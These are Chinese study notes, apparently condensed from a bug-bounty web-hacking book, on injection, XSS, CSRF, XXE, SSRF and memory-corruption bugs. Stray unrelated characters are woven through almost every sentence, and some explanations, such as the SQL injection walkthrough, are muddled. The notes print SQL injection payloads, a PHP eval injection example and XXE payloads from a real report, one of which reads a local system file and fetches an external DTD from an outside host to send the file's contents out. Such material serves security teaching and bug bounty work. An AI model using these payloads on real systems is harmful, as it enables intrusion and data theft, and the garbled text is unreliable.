HTML注入
HTML 注入向站點(diǎn)和開(kāi)發(fā)者展示了漏洞顶吮,因?yàn)樗梢杂糜谡`導(dǎo)用戶(hù),并且欺騙它們來(lái)提交一些敏感信息莺丑,或者瀏覽惡意網(wǎng)站玻靡。就像釣魚(yú)攻擊那樣。
CRLF注入
CRLF 注入是一類(lèi)漏洞中贝,在用戶(hù)設(shè)法向應(yīng)用插入 CRLF 時(shí)出現(xiàn)囤捻。在多種互聯(lián)網(wǎng)協(xié)議中,包括HTML邻寿,CRLF 字符表示了行的末尾蝎土,通常表示為 \r\n ,編碼后是 %0D%0A 绣否。在和 HTTP 請(qǐng)求或響應(yīng)頭組合時(shí)誊涯,這可以用于表示一行的結(jié)束,并且可能導(dǎo)致不同的漏洞蒜撮,包括 HTTP 請(qǐng)求走私和 HTTP 響應(yīng)分割暴构。對(duì) HTTP 請(qǐng)求走私而言,它通常在 HTTP 請(qǐng)求傳給服務(wù)器段磨,服務(wù)器處理它并傳給另一個(gè)服務(wù)器時(shí)發(fā)生取逾,例如代理或者防火墻。這一類(lèi)型的漏洞可以導(dǎo)致:
緩存污染苹支,它是一種場(chǎng)景砾隅,攻擊者可以修改緩沖中的條目,并托管惡意頁(yè)面(即包含JavaScript)而不是合理的頁(yè)面债蜜。
防火墻繞過(guò)晴埂,它是一種場(chǎng)景,請(qǐng)求被構(gòu)造寻定,用于避免安全檢查儒洛,通常涉及 CRLF 和過(guò)大的請(qǐng)求正文。
-
請(qǐng)求劫持:它是一種場(chǎng)景特姐,攻擊者惡意盜取 HTTPOnly 的 Cookie晶丘,以及 HTTP 驗(yàn)證信息。這類(lèi)似于 XSS唐含,但是不需要攻擊者和客戶(hù)端之間的交互浅浮。
跨站請(qǐng)求偽造
跨站請(qǐng)求偽造,或 CSRF 攻擊捷枯,在惡意網(wǎng)站滚秩、電子郵件、即使消息淮捆、應(yīng)用以及其它郁油,使用戶(hù)
的 Web 瀏覽器執(zhí)行其它站點(diǎn)上的一些操作本股,并且用戶(hù)已經(jīng)授權(quán)或登錄了該站點(diǎn)時(shí)發(fā)生。這通
常會(huì)在用戶(hù)不知道操作已經(jīng)執(zhí)行的情況下發(fā)生桐腌。
CSRF 攻擊的影響取決于收到操作的站點(diǎn)拄显。這里是一個(gè)例子:
- Bob 登錄了它的銀行賬戶(hù),執(zhí)行了一些操作案站,但是沒(méi)有登出躬审。
- Bob 檢查了它的郵箱,并點(diǎn)擊了一個(gè)陌生站點(diǎn)的鏈接蟆盐。
- 陌生站點(diǎn)向 Bob 銀行站點(diǎn)發(fā)送請(qǐng)求來(lái)進(jìn)行轉(zhuǎn)賬承边,并傳遞第一步中,保存 Bob 銀行會(huì)話的
Cookie 信息石挂。 - Bob 的銀行站點(diǎn)收到了來(lái)自陌生(惡意)站點(diǎn)的請(qǐng)求博助,沒(méi)有使用 CSRF Token 的情況下
處理了轉(zhuǎn)賬。
應(yīng)用邏輯漏洞
應(yīng)用邏輯漏洞不同于其他我們討論過(guò)的類(lèi)型痹愚。雖然 HTML 注入富岳、HTML 參數(shù)污染和 XSS 都涉及到提交一些類(lèi)型的潛在惡意輸入,應(yīng)用落地及漏洞實(shí)際上涉及到操縱場(chǎng)景和利用 Web APP代碼中的 Bug里伯。
這一類(lèi)型攻擊的一個(gè)值得注意的例子是 Egor Homakov 對(duì) Github 的滲透城瞎,Github 使用 RoR編寫(xiě)。如果你不熟悉 Rails疾瓮,他是一個(gè)非常流行的 Web 框架脖镀,在開(kāi)發(fā) Web 站點(diǎn)時(shí),它可以處理很多繁雜的東西狼电。
Shopify 管理員權(quán)限繞過(guò)
星巴克競(jìng)態(tài)條件
Binary.com 權(quán)限提升
HackerOne 信號(hào)操作
繞過(guò) Gitlab 的雙因素認(rèn)證
重要結(jié)論
有多個(gè)重要結(jié)論:
1. 不要低估你的能力蜒灰,以及開(kāi)發(fā)者犯錯(cuò)的可能性。HackerOne 是個(gè)優(yōu)秀的團(tuán)隊(duì)肩碟,擁有 優(yōu)秀的安全研究員强窖。但是人們都會(huì)犯錯(cuò)。挑戰(zhàn)你的假設(shè)吧削祈。
2. 不要在首次嘗試之后就放棄翅溺。當(dāng)我發(fā)現(xiàn)它的時(shí)候,瀏覽器每個(gè) Bucket 都不可用髓抑,并且我?guī)缀蹼x開(kāi)了咙崎。但是之后我嘗試寫(xiě)入文件,它成功了吨拍。
3. 所有的東西都在于只是褪猛。如果你知道存在了哪種漏洞,你就知道了要尋找以及測(cè)試 什么羹饰。讀這本書(shū)就是一個(gè)良好的開(kāi)始伊滋。
4. 我之前說(shuō)過(guò)碳却,又再說(shuō)一遍,一個(gè)攻擊面要好于站點(diǎn)笑旺,它也是公司所使用的的服務(wù)昼浦。
要跳出思維定式。
總結(jié)
應(yīng)用邏輯漏洞不一定總是涉及代碼筒主。反之座柱,利用它們通產(chǎn)更需要敏銳的觀察力,以及跳出思維定式物舒。始終留意其它站點(diǎn)可能使用的工具和服務(wù),因?yàn)樗鼈兇砹诵碌墓粝蛄肯非隆_@包括站點(diǎn)所使用的來(lái)渲染內(nèi)容的 JavaScript 庫(kù)冠胯。發(fā)現(xiàn)它們或多或少都需要代理攔截器,在將其發(fā)送到你所利用的站點(diǎn)之前锦针,它能讓你玩轉(zhuǎn)一些值荠察。嘗試修改任何值,只要它們和識(shí)別你的賬戶(hù)相關(guān)奈搜。這可能包含建立兩個(gè)不同的賬戶(hù)悉盆,以便你有兩套有效的憑據(jù),這可能有幫助馋吗。同時(shí)尋找隱藏或不常用的終端焕盟,它可以用于利用
無(wú)意中訪問(wèn)的功能。
任何時(shí)候一些類(lèi)型的事務(wù)發(fā)生時(shí)宏粤,你也應(yīng)該留意脚翘。始終有一些機(jī)會(huì),其中開(kāi)發(fā)者沒(méi)有在數(shù)據(jù)庫(kù)級(jí)別處理競(jìng)態(tài)條件(特別是 NoSQL)绍哎。也就是說(shuō)来农,它們的代碼可能會(huì)阻止你,但是如果你讓代碼執(zhí)行夠快崇堰,比如幾乎同時(shí)完成沃于,你就能發(fā)現(xiàn)靜態(tài)條件。確保你多次測(cè)試了這個(gè)領(lǐng)域內(nèi)的任何東西海诲,因?yàn)槊看螄L試不一定都發(fā)生繁莹,就像星巴克的案例那樣。最后饿肺,要留意新的功能 -- 它通常為測(cè)試展示了新的區(qū)域蒋困。并且如果可能的話,自動(dòng)化你的測(cè)試來(lái)更好利用你的時(shí)間敬辣。
跨站腳本攻擊XSS
跨站腳本雪标,或者 XSS零院,涉及到站定包含非預(yù)期的 JavaScript 腳本代碼,它隨后傳給用于村刨,用戶(hù)在瀏覽器中執(zhí)行了該代碼告抄。
- 反射型 XSS:這些攻擊并不是持久的,意思是 XSS 傳遞后通過(guò)簡(jiǎn)單的請(qǐng)求和響應(yīng)執(zhí)行嵌牺。
- 存儲(chǔ)型 XSS:這些攻擊是持久的打洼,或已保存,之后在頁(yè)面加載時(shí)執(zhí)行給無(wú)意識(shí)的用戶(hù)逆粹。
- Self XSS:這些攻擊也不是持久的募疮,通常作為戲弄用戶(hù)的一部分,使它們自己執(zhí)行XSS僻弹。
重要結(jié)論
測(cè)試任何東西阿浓,特別要關(guān)注一些場(chǎng)景,其中你所輸入的文本渲染給了你蹋绽。測(cè)試來(lái)判斷你是否可以包含 HTML 或者 JavaScript芭毙,來(lái)觀察站點(diǎn)如何處理它。同時(shí)嘗試編碼輸入卸耘,就像在 HTML 注入一章中描述的那樣退敦。XSS 漏洞并不需要很復(fù)雜。這個(gè)漏洞是你能找到的最基本的東西 - 一個(gè)簡(jiǎn)單的輸入文本字段蚣抗,這個(gè)漏洞并不處理用戶(hù)輸入侈百。它在 2015 年 12 月 21 日發(fā)現(xiàn),并獲得了 $500 的
獎(jiǎng)金忠聚。它所需要的所有東西设哗,就是黑客的思維。
![XSS.jpg](http://upload-images.jianshu.io/upload_images/8191868-78ea76db901eb3d5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
總結(jié)
XSS 漏洞對(duì)站點(diǎn)開(kāi)發(fā)者展現(xiàn)了真實(shí)的風(fēng)險(xiǎn)两蟀,并且仍然在站點(diǎn)上流行网梢,通常顯而易見(jiàn)。通常簡(jiǎn)單提交 JavaScript alert 方法的調(diào)用赂毯, alert('test')
战虏,你可以檢查輸入字段是否存在漏洞。此外党涕,你可以將它與 HTML 注入組合烦感,并提交 ASCII 編碼的字符來(lái)觀察文本是否被渲染和解釋。
在搜索 XSS 漏洞時(shí)膛堤,這里是要記住的一些事情:
-
測(cè)試任何東西
無(wú)論你在瀏覽什么站點(diǎn)以及什么時(shí)候?yàn)g覽手趣,總是要保持挖掘!不要覺(jué)得站點(diǎn)太大或者太復(fù)雜,而沒(méi)有漏洞绿渣。機(jī)會(huì)正在注視著你并請(qǐng)求你的測(cè)試朝群,就像 wholesale.shopify.com 那樣。Google Tagmanager 存儲(chǔ)型 XSS 漏洞就是尋找替代方案來(lái)向站點(diǎn)添加標(biāo)簽的結(jié)果中符。 -
漏洞可能存在于任何表單值
例如姜胖,Shopify 的禮品卡站點(diǎn)上的漏洞,通過(guò)利用和上傳文件相關(guān)的名稱(chēng)字段來(lái)時(shí)間淀散,并不是實(shí)際的文件字段本身右莱。 -
總是在測(cè)試時(shí)使用 HTML 代理
當(dāng)你嘗試提交來(lái)自網(wǎng)站自身的惡意值時(shí),當(dāng)站點(diǎn)的 JavaScript 檢查出你的非法值時(shí)档插,你可能會(huì)碰到假陽(yáng)性慢蜓。不要浪費(fèi)你的時(shí)間。通過(guò)瀏覽器提供合法值郭膛,之后使用你的代理修改這些值來(lái)執(zhí)行 JavaScript 并且提交胀瞪。 -
XSS 漏洞發(fā)生在渲染的時(shí)候
由于 XSS 在瀏覽器渲染文本時(shí)發(fā)生,要確保復(fù)查了站點(diǎn)的所有地方饲鄙,其中使用了你的輸入值。逆天家的 JavaScript 可能不會(huì)立即渲染圆雁,但是會(huì)出現(xiàn)在后續(xù)的頁(yè)面中忍级。這非常麻煩,但是你要留意站點(diǎn)何時(shí)過(guò)濾輸入伪朽,以及轉(zhuǎn)義輸出轴咱。如果是前者,尋找辦法來(lái)繞過(guò)輸入過(guò)濾器烈涮,因?yàn)殚_(kāi)發(fā)者可能會(huì)犯懶朴肺,并且不會(huì)轉(zhuǎn)義渲染的輸入。 -
測(cè)試非預(yù)期的值
不要總是提供預(yù)期類(lèi)型的值坚洽。當(dāng) HTML 雅虎郵件的漏洞被發(fā)現(xiàn)時(shí)戈稿,提供了非預(yù)期的HTML IMG 屬性。要跳出思維定式讶舰,思考開(kāi)發(fā)者要尋找什么鞍盗,并且之后嘗試提供一些不匹配這些預(yù)期的東西。這包含尋找新的方式來(lái)執(zhí)行潛在的 JavaScript跳昼,例如繞過(guò) Google圖片的 onmousemove 事件般甲。
SQL注入:
SQLi 允許黑客將 SQL 語(yǔ)句注入到目標(biāo)中并訪問(wèn)它們的數(shù)據(jù)庫(kù)。它的潛力是無(wú)窮的鹅颊,通常使其成為高回報(bào)的漏洞敷存,例如,攻擊者能夠執(zhí)行所有或一些 CURD 操作(創(chuàng)建堪伍、讀取锚烦、更新觅闽、刪除)來(lái)獲取數(shù)據(jù)庫(kù)信息。攻擊者甚至能夠完成遠(yuǎn)程命令執(zhí)行挽牢。
SQLi 攻擊通常是未轉(zhuǎn)義輸入的結(jié)果谱煤,輸入被傳給站點(diǎn),并用作數(shù)據(jù)庫(kù)查詢(xún)的一部分禽拔。它的一個(gè)例子是:
$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = $name";
這里刘离,來(lái)自用戶(hù)輸入的傳入值直接被插入到了數(shù)據(jù)庫(kù)查詢(xún)中。如果用戶(hù)輸入了 test' or1=1 睹栖,查詢(xún)就會(huì)返回第一條記錄硫惕,其中 name = test or 1=1 ,所以為第一行∫袄矗現(xiàn)在在其他情況下恼除,你可能會(huì)得到:
$query = "SELECT * FROM users WHERE (name = $name AND password = 12345");
這里,如果你使用了相同的載荷曼氛,你的語(yǔ)句最后會(huì)變成:
$query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345");
所以這里豁辉,查詢(xún)會(huì)表現(xiàn)得有些不同(至少是 MySQL)。我們會(huì)獲取所有記錄舀患,其中名稱(chēng)是 test 徽级,或者密碼是 12345 。很顯然我們沒(méi)有完成搜索數(shù)據(jù)庫(kù)第一條記錄的目標(biāo)聊浅。因此餐抢,我們需要忽略密碼參數(shù),并能夠使用注釋來(lái)實(shí)現(xiàn)低匙, test' or 1=1;--
旷痕。這里,我們所做的事情顽冶,就是添加一個(gè)分號(hào)來(lái)合理結(jié)束 SQL 語(yǔ)句欺抗,并且立即添加兩個(gè)短橫線(和一個(gè)空格)來(lái)把后面的所有東西標(biāo)記為注釋。因此不會(huì)被求職强重。它的結(jié)果會(huì)和我們初始的例子一樣佩迟。
開(kāi)放重定向漏洞
根據(jù) OWASP,開(kāi)放重定向出現(xiàn)在應(yīng)用接受參數(shù)并將用戶(hù)重定向到該參數(shù)值竿屹,并且沒(méi)有對(duì)該值進(jìn)行任何校驗(yàn)的時(shí)候报强。
這個(gè)漏洞用于釣魚(yú)攻擊,便于讓用戶(hù)無(wú)意中瀏覽惡意站點(diǎn)拱燃,濫用給定站點(diǎn)的信任并將用戶(hù)引導(dǎo)到另一個(gè)站點(diǎn)秉溉,惡意站點(diǎn)作為重定向目的地,可以將其準(zhǔn)備成合法站點(diǎn)的樣子,并嘗試收集個(gè)人或敏感信息召嘶。
重要結(jié)論
我這里再說(shuō)一遍父晶,不是所有漏洞都很復(fù)雜。這里的開(kāi)放重定向只需要將重定向參數(shù)修改
為外部站點(diǎn)弄跌。
緩沖區(qū)溢出
緩沖區(qū)溢出是一個(gè)場(chǎng)景甲喝,其中程序向緩沖區(qū)或內(nèi)容區(qū)域?qū)懭霐?shù)據(jù),寫(xiě)入的數(shù)據(jù)比實(shí)際分配的區(qū)域要多铛只。使用冰格來(lái)考慮的話埠胖,你可能擁有 12 個(gè)空間,但是只想要?jiǎng)?chuàng)建 10 個(gè)淳玩。在填充格子的時(shí)候直撤,你添加了過(guò)多的水,填充了 11 個(gè)位置而不是 10 個(gè)蜕着。你就溢出了冰格的緩存區(qū)谋竖。緩沖區(qū)溢出在最好情況下,會(huì)導(dǎo)致古怪的程序行為承匣,最壞情況下蓖乘,會(huì)產(chǎn)生嚴(yán)重的安全漏洞。這里的原因是韧骗,使用緩沖區(qū)移除驱敲,漏洞程序就開(kāi)始使用非預(yù)期數(shù)據(jù)覆蓋安全數(shù)據(jù),之后會(huì)調(diào)用它們宽闲。如果這些發(fā)生了,覆蓋的代碼會(huì)是和程序的預(yù)期完全不同的東西握牧,這會(huì)產(chǎn)生錯(cuò)誤容诬。或者沿腰,惡意用戶(hù)能夠使用移除來(lái)寫(xiě)入并執(zhí)行惡意代碼览徒。
代碼執(zhí)行
遠(yuǎn)程代碼執(zhí)行是指注入由漏洞應(yīng)用解釋和執(zhí)行的代碼。這通常由用戶(hù)提交輸入颂龙,應(yīng)用使用它而沒(méi)有任何類(lèi)型的處理或驗(yàn)證而導(dǎo)致习蓬。
看一下這行代碼:
var = _GET['page'];
eval($var);
這里,漏洞應(yīng)用可能使用 URL index.php?page=1 措嵌,但是躲叼,如果用于輸入了 index.php?page=1;phpinfo() ,應(yīng)用就會(huì)執(zhí)行 phpinfo 函數(shù)企巢,并返回其內(nèi)容枫慷。與之類(lèi)似,遠(yuǎn)程代碼執(zhí)行有時(shí)用于指代命令注入,OWASP 區(qū)分了這兩點(diǎn)或听。使用命令駐入探孝,根據(jù) OWASP,漏洞應(yīng)用在主機(jī)操作系統(tǒng)上執(zhí)行任何命令誉裆。同樣顿颅,這也由不合理處理和驗(yàn)證用戶(hù)輸入導(dǎo)致,這會(huì)導(dǎo)致用戶(hù)輸入傳遞給操作系統(tǒng)的命令足丢。
XML 外部實(shí)體注入
XML 外部實(shí)體(XXE)漏洞涉及利用應(yīng)用解析 XML 輸入的方式粱腻,更具體來(lái)說(shuō),應(yīng)用程序處理輸入中外部實(shí)體的包含方式霎桅。為了完全理解理解如何利用栖疑,以及他的潛力。我覺(jué)得我們最好首先理解什么是 XML 和外部實(shí)體滔驶。元語(yǔ)言是用于描述其它語(yǔ)言的語(yǔ)言遇革,這就是 XML。它在 HTML 之后開(kāi)發(fā)揭糕,來(lái)彌補(bǔ) HTML 的不足萝快。HTML 用于定義數(shù)據(jù)的展示,專(zhuān)注于它應(yīng)該是什么樣子著角。房子揪漩,XML 用于定義數(shù)據(jù)如何被組織。
重要結(jié)論
這里有一些重要結(jié)論吏口。XML 文件以不同形式和大小出現(xiàn)奄容。要留意接受 .docx 、 .xlsx 产徊、 .pptx 昂勒,以及其它的站點(diǎn)。向我之前提到過(guò)的那樣舟铜,有時(shí)候你不會(huì)直接從 XXE 收到響應(yīng)戈盈,這個(gè)示例展示了如何建立服務(wù)器來(lái)接受請(qǐng)求,它展示了 XXE谆刨。此外塘娶,像我們的例子中那樣,有時(shí)報(bào)告一開(kāi)始會(huì)被拒絕痊夭。擁有信息和耐心和你報(bào)告的公司周旋非常重要刁岸。尊重他們的決策,同時(shí)也解釋為什么這可能是個(gè)漏洞她我。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)
最開(kāi)始难捌,它從站點(diǎn)下載了文件來(lái)判斷 XML 結(jié)構(gòu)膝宁,這里是一個(gè) .gpx 文件,并插入了 *<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>; 根吁。之后它調(diào)用了 .gpx 文件中 13 行的記錄名稱(chēng)中的實(shí)體员淫。并不是必須的,如果它能夠服務(wù) /etc/passwd 文件击敌,并將內(nèi)容渲染在 <name> 元素中介返。
這產(chǎn)生了發(fā)往服務(wù)器的 HTTP GET 請(qǐng)求, GET 144.76.194.66 /XXE/ 10/29/15 1:02PMJava/1.7.0_51 沃斤。這有兩個(gè)原因值得注意圣蝎,首先,通過(guò)使用一個(gè)概念調(diào)用的簡(jiǎn)單證明衡瓶,David能夠確認(rèn)服務(wù)器求解了它插入的 XML 并且進(jìn)行了外部調(diào)用徘公。其次,David 使用現(xiàn)存的 XML文件哮针,以便時(shí)它的內(nèi)容滿(mǎn)足站點(diǎn)所預(yù)期的結(jié)構(gòu)关面。雖然它沒(méi)有討論這個(gè),調(diào)用它的服務(wù)器可能并不是必須的十厢,如果它能夠服務(wù) /etc/passwd 文件等太,并將內(nèi)容渲染在 <name> 元素中。在確認(rèn) Wikiloc 會(huì)生成外部 HTTP 請(qǐng)求后蛮放,唯一的疑問(wèn)就是缩抡,是否它能夠讀取本地文件。所以包颁,它修改了注入的 XML瞻想,來(lái)讓 Wikiloc 向他發(fā)送它們的 /etc/passwd 文件內(nèi)容。
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&send;</name>
(...)
總結(jié)
XXE 表示一類(lèi)有巨大潛力的有趣的攻擊向量娩嚼。有幾種方式來(lái)完成蘑险,就像我們之前看到的那樣,它能夠讓漏洞應(yīng)用打印自己的 /etc/passwd 文件待锈,以 /etc/passwd 文件來(lái)調(diào)用遠(yuǎn)程服務(wù)器,以及請(qǐng)求遠(yuǎn)程 DTD 文件嘴高,它讓解析器來(lái)使用 /etc/passwd 文件調(diào)用服務(wù)器竿音。作為一個(gè)黑客,要留意文件上傳拴驮,特別是那些接受一些 XML 類(lèi)型的上傳春瞬,應(yīng)該始終測(cè)試它們是否存在 XXE 漏洞。
模板注入
模板引擎是允許開(kāi)發(fā)者或設(shè)計(jì)師在創(chuàng)建動(dòng)態(tài)網(wǎng)頁(yè)的時(shí)候套啤,從數(shù)據(jù)展示中分離編程邏輯的工具宽气。換句話說(shuō)随常,除了擁有接收 HTTP 請(qǐng)求的代碼,從數(shù)據(jù)庫(kù)查詢(xún)必需的數(shù)據(jù)并且之后將其在單個(gè)文件中將其展示給用戶(hù)之外萄涯,模板引擎從計(jì)算它的剩余代碼中分離了數(shù)據(jù)的展示(此外绪氛,流行的框架和內(nèi)容管理系統(tǒng)也會(huì)從查詢(xún)中分離 HTTP 請(qǐng)求)。
Uber Angular 模板注入
Rails 動(dòng)態(tài)渲染器
總結(jié)
搜索漏洞時(shí)涝影,嘗試并識(shí)別底層的技術(shù)(框架枣察、前端渲染引擎、以及其他)是個(gè)不錯(cuò)的理念燃逻,以便發(fā)現(xiàn)可能的攻擊向量序目。模板引擎的不同變種,使我們難于準(zhǔn)確地說(shuō)伯襟,什么適用于所有環(huán)境猿涨,但是,知道用了什么技術(shù)會(huì)有幫助姆怪。要留意一些機(jī)會(huì)叛赚,其中你可控制的文本在頁(yè)面上,或者一些其他地方(例如郵件)渲染給你片效。
服務(wù)端請(qǐng)求偽造
服務(wù)端請(qǐng)求偽造红伦,或者 SSRF,是一種類(lèi)型淀衣,它允許攻擊者使用目標(biāo)服務(wù)器來(lái)代表攻擊者自己執(zhí)行 HTTP 請(qǐng)求昙读。這和 CSRF 類(lèi)似,因?yàn)閮蓚€(gè)漏洞都執(zhí)行了 HTTP 請(qǐng)求膨桥,而不被受害者察覺(jué)蛮浑。在 SSRF 中,受害者是漏洞服務(wù)器只嚣,在 CSRF 中沮稚,它是用戶(hù)的瀏覽器。這里的潛力非常大册舞,包括:
-
信息暴露蕴掏,其中我們欺騙服務(wù)器來(lái)暴露關(guān)于自身的信息,在示例 1 中使用 AWS EC2 元
數(shù)據(jù)描述调鲸。
- XSS盛杰,如果我們讓服務(wù)器渲染遠(yuǎn)程 HTML 文件,其中帶有 JavaScript藐石。
ESEA SSRF 和 AWS 元數(shù)據(jù)請(qǐng)求
如果你正在尋找 SSRF 漏洞即供,要留意任何在遠(yuǎn)程內(nèi)容中拉取的目標(biāo) URL。這里于微,它的標(biāo)志是 url= 逗嫡。其次青自,不要僅限于你的第一想法。Brett 完全能夠報(bào)告 XSS 載荷驱证,但是這不太深入延窜。通過(guò)深入挖掘,它就能發(fā)現(xiàn)漏洞的真正價(jià)值雷滚。但是這樣做的時(shí)候需曾,要小心不要越界。
越界讀取
除了越過(guò)分配的內(nèi)容寫(xiě)入數(shù)據(jù)之外祈远,另一個(gè)漏洞時(shí)越過(guò)內(nèi)容邊界讀取數(shù)據(jù)呆万。這是一類(lèi)緩沖區(qū)溢出,因?yàn)閮?nèi)容被越界讀取车份,這是緩存區(qū)不允許的谋减。
OpenSSL Heartbleed
內(nèi)存截?cái)?/h2>
內(nèi)存截?cái)嗍且环N技巧,用于通過(guò)使代碼執(zhí)行一些不常見(jiàn)或者非預(yù)期的行為扫沼,來(lái)發(fā)現(xiàn)漏洞出爹。它的效果類(lèi)似于緩沖區(qū)溢出,其中內(nèi)容在不該暴露的時(shí)候暴露了缎除。
一個(gè)例子是空字節(jié)注入严就。這發(fā)生在提供了空字節(jié) %00
或者十六進(jìn)制的 0x00
,并導(dǎo)致接收程序的非預(yù)期行為時(shí)器罐。在 C/C++梢为,或低級(jí)編程語(yǔ)言中,空字節(jié)表示字符串的末尾轰坊,或者字符串的終止符铸董。這可以告訴程序來(lái)立即停止字符串的處理,空字節(jié)之后的字節(jié)就被忽略了肴沫。當(dāng)代碼依賴(lài)字符串長(zhǎng)度時(shí)粟害,它的影響力十分巨大。如果讀取了空字節(jié)颤芬,并停止了處理悲幅,長(zhǎng)度為 10 的字符串就只剩 5 了。例如:
thisis%00mystring
這個(gè)字符串的長(zhǎng)度應(yīng)該為 15站蝠,暗示如果字符串以空字節(jié)終止汰具,它的長(zhǎng)度為 6。這對(duì)于管理自己的內(nèi)存的低級(jí)語(yǔ)言是有問(wèn)題的沉衣。
現(xiàn)在郁副,對(duì)于 Web 應(yīng)用减牺,當(dāng) Web 應(yīng)用和庫(kù)豌习、外部 API 以及其它用 C 寫(xiě)成的東西交互的時(shí)候存谎,這就有關(guān)系了。向 URL 傳入 %00 可能使攻擊者操作更廣泛服務(wù)器環(huán)境中的 Web 資源肥隆。尤其是當(dāng)編程語(yǔ)言存在問(wèn)題的時(shí)候既荚,例如 PHP,它是使用 C 語(yǔ)言編寫(xiě)的栋艳。
PHP ftp_genlist()
Python Hotshot 模塊
重要結(jié)論
我們現(xiàn)在查看了兩個(gè)函數(shù)的例子恰聘,它們的不正確實(shí)現(xiàn)都收到了緩沖區(qū)溢出的影響, memcpy 和 strcpy 吸占。如果我們知道某個(gè)站點(diǎn)或者應(yīng)用依賴(lài) C 或者 C++晴叨,我們就可以遍歷還語(yǔ)言的源代碼庫(kù)(使用類(lèi)似 grep 的東西),來(lái)尋找不正確的實(shí)現(xiàn)矾屯。關(guān)鍵是尋找這樣的實(shí)現(xiàn)兼蕊,它向二者之一傳遞固定長(zhǎng)度的變量作為第三個(gè)函數(shù),對(duì)應(yīng)被分配的數(shù)據(jù)長(zhǎng)度件蚕,在數(shù)據(jù)復(fù)制時(shí)孙技,它實(shí)際上是變量的長(zhǎng)度。
但是排作,像之前提到的那樣牵啦,如果你剛剛起步,可能你需要放棄搜索這些類(lèi)型的漏洞妄痪,等你更熟悉白帽子滲透時(shí)再回來(lái)哈雏。
PHP 內(nèi)存截?cái)?/h2>
phar_parse_tarfile
函數(shù)并沒(méi)有考慮以空字符開(kāi)始的文件名稱(chēng),空字符是值為 0 的字節(jié)拌夏,即十六進(jìn)制的 0x00 僧著。在該方法的執(zhí)行期間,當(dāng)使用文件名稱(chēng)時(shí)障簿,數(shù)組會(huì)發(fā)生下溢(即嘗試訪問(wèn)不存在的數(shù)據(jù)盹愚,并超出了數(shù)組分配的內(nèi)存)。這是個(gè)重要漏洞站故,因?yàn)樗蚝诳吞峁┝吮驹撓拗频膬?nèi)存的訪問(wèn)權(quán)皆怕。
在處理自己管理內(nèi)存的應(yīng)用時(shí),特別是 C 和 C++西篓,就像緩沖區(qū)溢出那樣愈腾,內(nèi)存截?cái)嗍莻€(gè)古老但是仍舊常見(jiàn)的漏洞荐捻。如果你發(fā)現(xiàn)否纬,你正在處理基于 C 語(yǔ)言的 Web 應(yīng)用(PHP 使用它編寫(xiě)),要留意內(nèi)存操作的方式赴捞。但是同樣吮成,如果你剛剛起步橱乱,你可能值得花費(fèi)更多時(shí)間來(lái)尋找簡(jiǎn)單的注入漏洞辜梳,當(dāng)你更熟練時(shí),再回到內(nèi)存截?cái)唷?